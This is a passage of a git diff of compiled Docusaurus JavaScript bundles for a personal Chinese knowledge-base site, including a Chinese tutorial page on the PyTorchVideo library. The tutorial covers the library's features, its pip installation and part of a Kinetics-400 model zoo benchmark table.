s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/README","title":"\u8bed\u8a00\u77e5\u8bc6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/"},"next":{"title":"Go\u57fa\u7840\u7f16\u7a0b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/"}}');var r=n(74848),o=n(28453);const i={},l="\u8bed\u8a00\u77e5\u8bc6",c={},d=[];function a(e){const t={blockquote:"blockquote",h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u8bed\u8a00\u77e5\u8bc6",children:"\u8bed\u8a00\u77e5\u8bc6"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:27:56"})]})})]}),"\n",(0,r.jsxs)(t.blockquote,{children:["\n",(0,r.jsx)(t.p,{children:"[!Waring]"}),"\n",(0,r.jsx)(t.p,{children:"\u8be5\u6a21\u5757\u57fa\u672c\u4e3a\u642c\u8fd0\u7684\uff0c\u76ee\u7684\u662f\u4e3a\u4e86\u518d\u4e00\u4e9b\u65ad\u7f51\u7684\u60c5\u51b5\u4e0b\u4f7f\u7528\u3002"}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,o.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>l});var s=n(96540);const r={},o=s.createContext(r);function i(e){const t=s.useContext(o);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:i(e.components),s.createElement(o.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/aba21aa0.c08ff4e8.js b/en/assets/js/aba21aa0.c08ff4e8.js new file mode 100644 index 0000000..6ea3dfb --- /dev/null +++ b/en/assets/js/aba21aa0.c08ff4e8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5742],{27093:s=>{s.exports=JSON.parse('{"name":"docusaurus-plugin-content-docs","id":"default"}')}}]); \ No newline at end of file diff --git a/en/assets/js/ac291e43.a23b4018.js b/en/assets/js/ac291e43.a23b4018.js new file mode 100644 index 0000000..1187559 --- /dev/null +++ b/en/assets/js/ac291e43.a23b4018.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6189],{28453:(n,e,d)=>{d.d(e,{R:()=>s,x:()=>l});var i=d(96540);const h={},r=i.createContext(h);function s(n){const e=i.useContext(r);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(h):n.components||h:s(n.components),i.createElement(r.Provider,{value:e},n.children)}},33517:(n,e,d)=>{d.d(e,{A:()=>i});const i=d.p+"assets/images/logo2-f217077978820204e4fdcbbcadc61eda.jpg"},56906:(n,e,d)=>{d.d(e,{A:()=>i});const i=d.p+"assets/images/list-e5a945907d77250f9a68dab4a88173d3.png"},81217:(n,e,d)=>{d.r(e),d.d(e,{assets:()=>t,contentTitle:()=>l,default:()=>o,frontMatter:()=>s,metadata:()=>i,toc:()=>c});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","title":"8.3 \u89c6\u9891 - PyTorchVideo.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"8.2 \u56fe\u50cf - torchvision.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision"},"next":{"title":"8.4 \u6587\u672c - torchtext.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext"}}');var h=d(74848),r=d(28453);const s={},l="8.3 \u89c6\u9891 - PyTorchVideo.md",t={},c=[{value:"8.3.1 PyTorchVideo\u7684\u4e3b\u8981\u90e8\u4ef6\u548c\u4eae\u70b9",id:"831-pytorchvideo\u7684\u4e3b\u8981\u90e8\u4ef6\u548c\u4eae\u70b9",level:2},{value:"8.3.2 PyTorchVideo\u7684\u5b89\u88c5",id:"832-pytorchvideo\u7684\u5b89\u88c5",level:2},{value:"8.3.3 Model zoo \u548c benchmark",id:"833-model-zoo-\u548c-benchmark",level:2},{value:"8.3.4 \u4f7f\u7528 PyTorchVideo model zoo",id:"834-\u4f7f\u7528-pytorchvideo-model-zoo",level:2}];function x(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(e.header,{children:(0,h.jsx)(e.h1,{id:"83-\u89c6\u9891---pytorchvideomd",children:"8.3 \u89c6\u9891 - PyTorchVideo.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,h.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,h.jsx)(e.tbody,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{style:{textAlign:"left"},children:(0,h.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,h.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,h.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,h.jsx)(e.tbody,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{style:{textAlign:"left"},children:(0,h.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,h.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,h.jsx)(e.h1,{id:"83-pytorchvideo\u7b80\u4ecb",children:"8.3 PyTorchVideo\u7b80\u4ecb"}),"\n",(0,h.jsx)(e.p,{children:(0,h.jsx)(e.img,{src:d(33517).A+"",width:"1440",height:"459"})}),"\n",(0,h.jsx)(e.p,{children:"\u8fd1\u51e0\u5e74\u6765\uff0c\u968f\u7740\u4f20\u64ad\u5a92\u4ecb\u548c\u89c6\u9891\u5e73\u53f0\u7684\u53d1\u5c55\uff0c\u89c6\u9891\u6b63\u5728\u53d6\u4ee3\u56fe\u7247\u6210\u4e3a\u4e0b\u4e00\u4ee3\u7684\u4e3b\u6d41\u5a92\u4f53\uff0c\u8fd9\u4e5f\u4f7f\u5f97\u6709\u5173\u89c6\u9891\u7684\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u6b63\u5728\u83b7\u5f97\u8d8a\u6765\u8d8a\u591a\u7684\u5173\u6ce8\u3002\u7136\u800c\uff0c\u6709\u5173\u89c6\u9891\u7684\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u4ecd\u7136\u6709\u7740\u8bb8\u591a\u7f3a\u70b9\uff1a"}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsxs)(e.li,{children:["\u8ba1\u7b97\u8d44\u6e90\u8017\u8d39\u66f4\u591a\uff0c\u5e76\u4e14\u6ca1\u6709\u9ad8\u8d28\u91cf\u7684",(0,h.jsx)(e.code,{children:"model zoo"}),"\uff0c\u4e0d\u80fd\u50cf\u56fe\u7247\u4e00\u6837\u8fdb\u884c\u8fc1\u79fb\u5b66\u4e60\u548c\u8bba\u6587\u590d\u73b0\u3002"]}),"\n",(0,h.jsx)(e.li,{children:"\u6570\u636e\u96c6\u5904\u7406\u8f83\u9ebb\u70e6\uff0c\u4f46\u6ca1\u6709\u4e00\u4e2a\u5f88\u597d\u7684\u89c6\u9891\u5904\u7406\u5de5\u5177\u3002"}),"\n",(0,h.jsx)(e.li,{children:"\u968f\u7740\u591a\u6a21\u6001\u8d8a\u6765\u8d8a\u6d41\u884c\uff0c\u4e9f\u9700\u4e00\u4e2a\u5de5\u5177\u6765\u5904\u7406\u5176\u4ed6\u6a21\u6001\u3002"}),"\n"]}),"\n",(0,h.jsxs)(e.p,{children:["\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u6709\u90e8\u7f72\u4f18\u5316\u7b49\u95ee\u9898\uff0c\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e9b\u95ee\u9898\uff0cMeta\u63a8\u51fa\u4e86",(0,h.jsx)(e.code,{children:"PyTorchVideo"}),"\u6df1\u5ea6\u5b66\u4e60\u5e93\uff08\u5305\u542b\u7ec4\u4ef6\u5982Figure 1\u6240\u793a\uff09\u3002PyTorchVideo \u662f\u4e00\u4e2a\u4e13\u6ce8\u4e8e\u89c6\u9891\u7406\u89e3\u5de5\u4f5c\u7684\u6df1\u5ea6\u5b66\u4e60\u5e93\u3002PytorchVideo \u63d0\u4f9b\u4e86\u52a0\u901f\u89c6\u9891\u7406\u89e3\u7814\u7a76\u6240\u9700\u7684\u53ef\u91cd\u7528\u3001\u6a21\u5757\u5316\u548c\u9ad8\u6548\u7684\u7ec4\u4ef6\u3002PyTorchVideo \u662f\u4f7f\u7528",(0,h.jsx)(e.a,{href:"https://pytorch.org/",children:"PyTorch"}),"\u5f00\u53d1\u7684\uff0c\u652f\u6301\u4e0d\u540c\u7684\u6df1\u5ea6\u5b66\u4e60\u89c6\u9891\u7ec4\u4ef6\uff0c\u5982\u89c6\u9891\u6a21\u578b\u3001\u89c6\u9891\u6570\u636e\u96c6\u548c\u89c6\u9891\u7279\u5b9a\u8f6c\u6362\u3002"]}),"\n",(0,h.jsx)(e.p,{children:(0,h.jsx)(e.img,{src:d(56906).A+"",width:"1167",height:"147"})}),"\n",(0,h.jsx)(e.h2,{id:"831-pytorchvideo\u7684\u4e3b\u8981\u90e8\u4ef6\u548c\u4eae\u70b9",children:"8.3.1 PyTorchVideo\u7684\u4e3b\u8981\u90e8\u4ef6\u548c\u4eae\u70b9"}),"\n",(0,h.jsx)(e.p,{children:"PytorchVideo \u63d0\u4f9b\u4e86\u52a0\u901f\u89c6\u9891\u7406\u89e3\u7814\u7a76\u6240\u9700\u7684\u6a21\u5757\u5316\u548c\u9ad8\u6548\u7684API\u3002\u5b83\u8fd8\u652f\u6301\u4e0d\u540c\u7684\u6df1\u5ea6\u5b66\u4e60\u89c6\u9891\u7ec4\u4ef6\uff0c\u5982\u89c6\u9891\u6a21\u578b\u3001\u89c6\u9891\u6570\u636e\u96c6\u548c\u89c6\u9891\u7279\u5b9a\u8f6c\u6362\uff0c\u6700\u91cd\u8981\u7684\u662f\uff0cPytorchVideo\u4e5f\u63d0\u4f9b\u4e86model zoo\uff0c\u4f7f\u5f97\u4eba\u4eec\u53ef\u4ee5\u4f7f\u7528\u5404\u79cd\u5148\u8fdb\u7684\u9884\u8bad\u7ec3\u89c6\u9891\u6a21\u578b\u53ca\u5176\u8bc4\u5224\u57fa\u51c6\u3002PyTorchVideo\u4e3b\u8981\u4eae\u70b9\u5982\u4e0b\uff1a"}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsx)(e.p,{children:"**\u57fa\u4e8e PyTorch\uff1a**\u4f7f\u7528 PyTorch \u6784\u5efa\u3002\u4f7f\u6240\u6709 PyTorch \u751f\u6001\u7cfb\u7edf\u7ec4\u4ef6\u7684\u4f7f\u7528\u53d8\u5f97\u5bb9\u6613\u3002"}),"\n"]}),"\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsxs)(e.p,{children:["**Model Zoo\uff1a**PyTorchVideo\u63d0\u4f9b\u4e86\u5305\u542bI3D\u3001R(2+1)D\u3001SlowFast\u3001X3D\u3001MViT\u7b49SOTA\u6a21\u578b\u7684\u9ad8\u8d28\u91cfmodel zoo\uff08\u76ee\u524d\u8fd8\u5728\u5feb\u901f\u6269\u5145\u4e2d\uff0c\u672a\u6765\u4f1a\u6709\u66f4\u591aSOTA model\uff09\uff0c\u5e76\u4e14PyTorchVideo\u7684model zoo\u8c03\u7528\u4e0e",(0,h.jsx)(e.a,{href:"https://link.zhihu.com/?target=https%3A//pytorch.org/hub/",children:"PyTorch Hub"}),"\u505a\u4e86\u6574\u5408\uff0c\u5927\u5927\u7b80\u5316\u6a21\u578b\u8c03\u7528\uff0c\u5177\u4f53\u7684\u4e00\u4e9b\u8c03\u7528\u65b9\u6cd5\u53ef\u4ee5\u53c2\u8003\u4e0b\u9762\u7684\u3010\u4f7f\u7528 PyTorchVideo model zoo\u3011\u90e8\u5206\u3002"]}),"\n"]}),"\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsxs)(e.p,{children:[(0,h.jsx)(e.strong,{children:"\u6570\u636e\u9884\u5904\u7406\u548c\u5e38\u89c1\u6570\u636e"}),"\uff0cPyTorchVideo\u652f\u6301Kinetics-400, Something-Something V2, Charades, Ava (v2.2), Epic Kitchen, HMDB51, UCF101, Domsev\u7b49\u4e3b\u6d41\u6570\u636e\u96c6\u548c\u76f8\u5e94\u7684\u6570\u636e\u9884\u5904\u7406\uff0c\u540c\u65f6\u8fd8\u652f\u6301randaug, augmix\u7b49\u6570\u636e\u589e\u5f3atrick\u3002"]}),"\n"]}),"\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsxs)(e.p,{children:[(0,h.jsx)(e.strong,{children:"\u6a21\u5757\u5316\u8bbe\u8ba1"}),"\uff1aPyTorchVideo\u7684\u8bbe\u8ba1\u7c7b\u4f3c\u4e8etorchvision\uff0c\u4e5f\u662f\u63d0\u4f9b\u8bb8\u591a\u6a21\u5757\u65b9\u4fbf\u7528\u6237\u8c03\u7528\u4fee\u6539\uff0c\u5728PyTorchVideo\u4e2d\u5177\u4f53\u6765\u8bf4\u5305\u62ecdata, transforms, layer, model, accelerator\u7b49\u6a21\u5757\uff0c\u65b9\u4fbf\u7528\u6237\u8fdb\u884c\u8c03\u7528\u548c\u8bfb\u53d6\u3002"]}),"\n"]}),"\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsxs)(e.p,{children:[(0,h.jsx)(e.strong,{children:"\u652f\u6301\u591a\u6a21\u6001"}),"\uff1aPyTorchVideo\u73b0\u5728\u5bf9\u591a\u6a21\u6001\u7684\u652f\u6301\u5305\u62ec\u4e86visual\u548caudio\uff0c\u672a\u6765\u4f1a\u652f\u6301\u66f4\u591a\u6a21\u6001\uff0c\u4e3a\u591a\u6a21\u6001\u6a21\u578b\u7684\u53d1\u5c55\u63d0\u4f9b\u652f\u6301\u3002"]}),"\n"]}),"\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsxs)(e.p,{children:[(0,h.jsx)(e.strong,{children:"\u79fb\u52a8\u7aef\u90e8\u7f72\u4f18\u5316"}),"\uff1aPyTorchVideo\u652f\u6301\u9488\u5bf9\u79fb\u52a8\u7aef\u6a21\u578b\u7684\u90e8\u7f72\u4f18\u5316\uff08\u4f7f\u7528\u524d\u8ff0\u7684PyTorchVideo/accelerator\u6a21\u5757\uff09\uff0c\u6a21\u578b\u7ecf\u8fc7PyTorchVideo\u4f18\u5316\u4e86\u6700\u9ad8\u8fbe",(0,h.jsx)(e.strong,{children:"7\u500d"}),"\u7684\u63d0\u901f\uff0c\u5e76\u5b9e\u73b0\u4e86\u7b2c\u4e00\u4e2a\u80fd\u5b9e\u65f6\u8dd1\u5728\u624b\u673a\u7aef\u7684X3D\u6a21\u578b\uff08\u5b9e\u9a8c\u4e2d\u53ef\u4ee5\u5b9e\u65f6\u8dd1\u57282018\u5e74\u7684\u4e09\u661fGalaxy S8\u4e0a\uff0c\u5177\u4f53\u8bf7\u89c1",(0,h.jsx)(e.a,{href:"https://github.com/pytorch/android-demo-app/tree/master/TorchVideo",children:"Android Demo APP"}),"\uff09\u3002"]}),"\n"]}),"\n"]}),"\n",(0,h.jsx)(e.h2,{id:"832-pytorchvideo\u7684\u5b89\u88c5",children:"8.3.2 PyTorchVideo\u7684\u5b89\u88c5"}),"\n",(0,h.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528pip\u6765\u5b89\u88c5PyTorchVideo\uff1a"}),"\n",(0,h.jsx)(e.pre,{children:(0,h.jsx)(e.code,{className:"language-shell",children:"pip install pytorchvideo\n"})}),"\n",(0,h.jsx)(e.p,{children:"\u6ce8\uff1a"}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsx)(e.li,{children:"\u5b89\u88c5\u7684\u865a\u62df\u73af\u5883\u7684python\u7248\u672c >= 3.7"}),"\n",(0,h.jsx)(e.li,{children:"PyTorch >= 1.8.0\uff0c\u5b89\u88c5\u7684torchvision\u4e5f\u9700\u8981\u5339\u914d"}),"\n",(0,h.jsx)(e.li,{children:"CUDA >= 10.2"}),"\n",(0,h.jsxs)(e.li,{children:["ioPath\uff1a",(0,h.jsx)(e.a,{href:"https://github.com/facebookresearch/iopath",children:"\u5177\u4f53\u60c5\u51b5"})]}),"\n",(0,h.jsxs)(e.li,{children:["fvcore\u7248\u672c >= 0.1.4\uff1a",(0,h.jsx)(e.a,{href:"https://github.com/facebookresearch/fvcore",children:"\u5177\u4f53\u60c5\u51b5"})]}),"\n"]}),"\n",(0,h.jsx)(e.h2,{id:"833-model-zoo-\u548c-benchmark",children:"8.3.3 Model zoo \u548c benchmark"}),"\n",(0,h.jsx)(e.p,{children:"\u5728\u4e0b\u9762\u8fd9\u90e8\u5206\uff0c\u6211\u5c06\u7b80\u5355\u4ecb\u7ecd\u4e9bPyTorchVideo\u6240\u63d0\u4f9b\u7684Model zoo\u548cbenchmark"}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsx)(e.li,{children:"Kinetics-400"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{children:"arch"}),(0,h.jsx)(e.th,{children:"depth"}),(0,h.jsx)(e.th,{children:"pretrain"}),(0,h.jsx)(e.th,{children:"frame length x sample rate"}),(0,h.jsx)(e.th,{children:"top 1"}),(0,h.jsx)(e.th,{children:"top 5"}),(0,h.jsx)(e.th,{children:"Flops (G) x views"}),(0,h.jsx)(e.th,{children:"Params (M)"}),(0,h.jsx)(e.th,{children:"Model"})]})}),(0,h.jsxs)(e.tbody,{children:[(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"C2D"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"71.46"}),(0,h.jsx)(e.td,{children:"89.68"}),(0,h.jsx)(e.td,{children:"25.89 x 3 x 10"}),(0,h.jsx)(e.td,{children:"24.33"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/C2D_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"I3D"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"73.27"}),(0,h.jsx)(e.td,{children:"90.70"}),(0,h.jsx)(e.td,{children:"37.53 x 3 x 10"}),(0,h.jsx)(e.td,{children:"28.04"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/I3D_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"Slow"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"4x16"}),(0,h.jsx)(e.td,{children:"72.40"}),(0,h.jsx)(e.td,{children:"90.18"}),(0,h.jsx)(e.td,{children:"27.55 x 3 x 10"}),(0,h.jsx)(e.td,{children:"32.45"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOW_4x16_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"Slow"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"74.58"}),(0,h.jsx)(e.td,{children:"91.63"}),(0,h.jsx)(e.td,{children:"54.52 x 3 x 10"}),(0,h.jsx)(e.td,{children:"32.45"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOW_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"4x16"}),(0,h.jsx)(e.td,{children:"75.34"}),(0,h.jsx)(e.td,{children:"91.89"}),(0,h.jsx)(e.td,{children:"36.69 x 3 x 10"}),(0,h.jsx)(e.td,{children:"34.48"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOWFAST_4x16_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"76.94"}),(0,h.jsx)(e.td,{children:"92.69"}),(0,h.jsx)(e.td,{children:"65.71 x 3 x 10"}),(0,h.jsx)(e.td,{children:"34.57"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOWFAST_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R101"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"77.90"}),(0,h.jsx)(e.td,{children:"93.27"}),(0,h.jsx)(e.td,{children:"127.20 x 3 x 10"}),(0,h.jsx)(e.td,{children:"62.83"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOWFAST_8x8_R101.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"SlowFast"}),(0,h.jsx)(e.td,{children:"R101"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"16x8"}),(0,h.jsx)(e.td,{children:"78.70"}),(0,h.jsx)(e.td,{children:"93.61"}),(0,h.jsx)(e.td,{children:"215.61 x 3 x 10"}),(0,h.jsx)(e.td,{children:"53.77"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/SLOWFAST_16x8_R101_50_50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"CSN"}),(0,h.jsx)(e.td,{children:"R101"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"32x2"}),(0,h.jsx)(e.td,{children:"77.00"}),(0,h.jsx)(e.td,{children:"92.90"}),(0,h.jsx)(e.td,{children:"75.62 x 3 x 10"}),(0,h.jsx)(e.td,{children:"22.21"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/CSN_32x2_R101.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"R(2+1)D"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"16x4"}),(0,h.jsx)(e.td,{children:"76.01"}),(0,h.jsx)(e.td,{children:"92.23"}),(0,h.jsx)(e.td,{children:"76.45 x 3 x 